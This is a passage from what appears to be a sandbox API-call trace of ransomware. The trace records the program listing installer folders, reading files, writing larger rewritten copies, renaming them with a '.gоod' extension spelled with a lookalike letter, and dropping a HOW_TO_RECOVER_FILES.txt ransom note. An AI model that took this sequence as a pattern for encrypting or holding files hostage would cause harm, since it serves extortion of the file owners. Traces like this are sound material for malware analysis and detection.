"c:\\588bce7c90097ed212\\1045\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x3495268 | out: lpFileInformation=0x3495268*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8)) returned 1 [0102.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0102.102] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\eula.rtf", lpFilePart=0x0) returned 0x23 [0102.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0102.102] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.102] GetFileType (hFile=0x7dc) returned 0x1 [0102.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0102.102] GetFileType (hFile=0x7dc) returned 0x1 [0102.102] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xfc8 [0102.102] ReadFile (in: hFile=0x7dc, lpBuffer=0x3496438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x3496438*, lpNumberOfBytesRead=0x1f6edc28*=0xfc8, lpOverlapped=0x0) returned 1 [0102.104] CloseHandle (hObject=0x7dc) returned 1 [0102.482] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\eula.rtf", lpFilePart=0x0) returned 0x23 [0102.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0102.482] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.589] GetFileType (hFile=0x7dc) returned 0x1 [0102.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0102.589] GetFileType (hFile=0x7dc) returned 0x1 [0102.589] WriteFile (in: hFile=0x7dc, lpBuffer=0x3563d48*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3563d48*, lpNumberOfBytesWritten=0x1f6edb38*=0xfd0, lpOverlapped=0x0) returned 1 [0102.590] CloseHandle (hObject=0x7dc) returned 1 [0102.590] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\eula.rtf", lpFilePart=0x0) returned 0x23 [0102.590] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0102.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0102.590] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x395bb29e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfd0)) returned 1 [0102.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0102.590] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.gоod")) returned 1 [0102.592] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0102.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0102.592] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3564f10 | out: lpFileInformation=0x3564f10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6)) returned 1 [0102.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0102.593] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0102.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0102.593] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.593] GetFileType (hFile=0x7dc) returned 0x1 [0102.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0102.593] GetFileType (hFile=0x7dc) returned 0x1 [0102.593] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0102.593] ReadFile (in: hFile=0x7dc, lpBuffer=0x35652d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x35652d8*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0102.594] CloseHandle (hObject=0x7dc) returned 1 [0102.594] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0102.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0102.594] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.595] GetFileType (hFile=0x7dc) returned 0x1 [0102.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0102.595] GetFileType (hFile=0x7dc) returned 0x1 [0102.595] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x141c6 [0102.595] WriteFile (in: hFile=0x7dc, lpBuffer=0x3566548*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3566548*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0102.596] CloseHandle (hObject=0x7dc) returned 1 [0102.596] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0102.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0102.596] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.596] GetFileType (hFile=0x7dc) returned 0x1 [0102.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0102.596] GetFileType (hFile=0x7dc) returned 0x1 [0102.596] ReadFile (in: hFile=0x7dc, lpBuffer=0x35687e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x35687e0*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0104.170] CloseHandle (hObject=0x7dc) returned 1 [0104.170] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0104.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0104.170] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0104.170] GetFileType (hFile=0x7dc) returned 0x1 [0104.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0104.170] GetFileType (hFile=0x7dc) returned 0x1 [0104.170] WriteFile (in: hFile=0x7dc, lpBuffer=0x31b5720*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x31b5720*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0104.170] CloseHandle (hObject=0x7dc) returned 1 [0104.171] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0104.171] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0104.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0104.171] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x3a4eac53, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x141d6)) returned 1 [0104.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0104.171] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.gоod")) returned 1 [0104.171] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0104.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0104.171] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1045\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0104.172] GetFileType (hFile=0x7dc) returned 0x1 [0104.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0104.172] GetFileType (hFile=0x7dc) returned 0x1 [0104.173] WriteFile (in: hFile=0x7dc, lpBuffer=0x33483b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x33483b8*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0104.174] CloseHandle (hObject=0x7dc) returned 1 [0104.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0104.174] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046", lpFilePart=0x0) returned 0x1a [0104.174] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.175] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.175] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0104.175] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0104.175] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0104.175] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.175] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0104.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0104.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0104.176] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046", lpFilePart=0x0) returned 0x1a [0104.176] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.176] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.176] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0104.176] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0104.176] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0104.177] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0104.177] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0104.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0104.177] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\eula.rtf", lpFilePart=0x0) returned 0x23 [0104.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0104.177] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x335d708 | out: lpFileInformation=0x335d708*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63)) returned 1 [0104.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0104.177] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\eula.rtf", lpFilePart=0x0) returned 0x23 [0104.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0104.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0104.177] GetFileType (hFile=0x7dc) returned 0x1 [0104.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0104.178] GetFileType (hFile=0x7dc) returned 0x1 [0104.178] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xe63 [0104.178] ReadFile (in: hFile=0x7dc, lpBuffer=0x335e778, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x335e778*, lpNumberOfBytesRead=0x1f6edc28*=0xe63, lpOverlapped=0x0) returned 1 [0104.179] CloseHandle (hObject=0x7dc) returned 1 [0104.206] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\eula.rtf", lpFilePart=0x0) returned 0x23 [0104.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0104.206] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0104.207] GetFileType (hFile=0x7dc) returned 0x1 [0104.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0104.207] GetFileType (hFile=0x7dc) returned 0x1 [0104.207] WriteFile (in: hFile=0x7dc, lpBuffer=0x33da7a0*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x33da7a0*, lpNumberOfBytesWritten=0x1f6edb38*=0xe70, lpOverlapped=0x0) returned 1 [0104.208] CloseHandle (hObject=0x7dc) returned 1 [0104.208] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\eula.rtf", lpFilePart=0x0) returned 0x23 [0104.208] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1046\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0104.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0104.208] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x3a5370bc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe70)) returned 1 [0104.208] 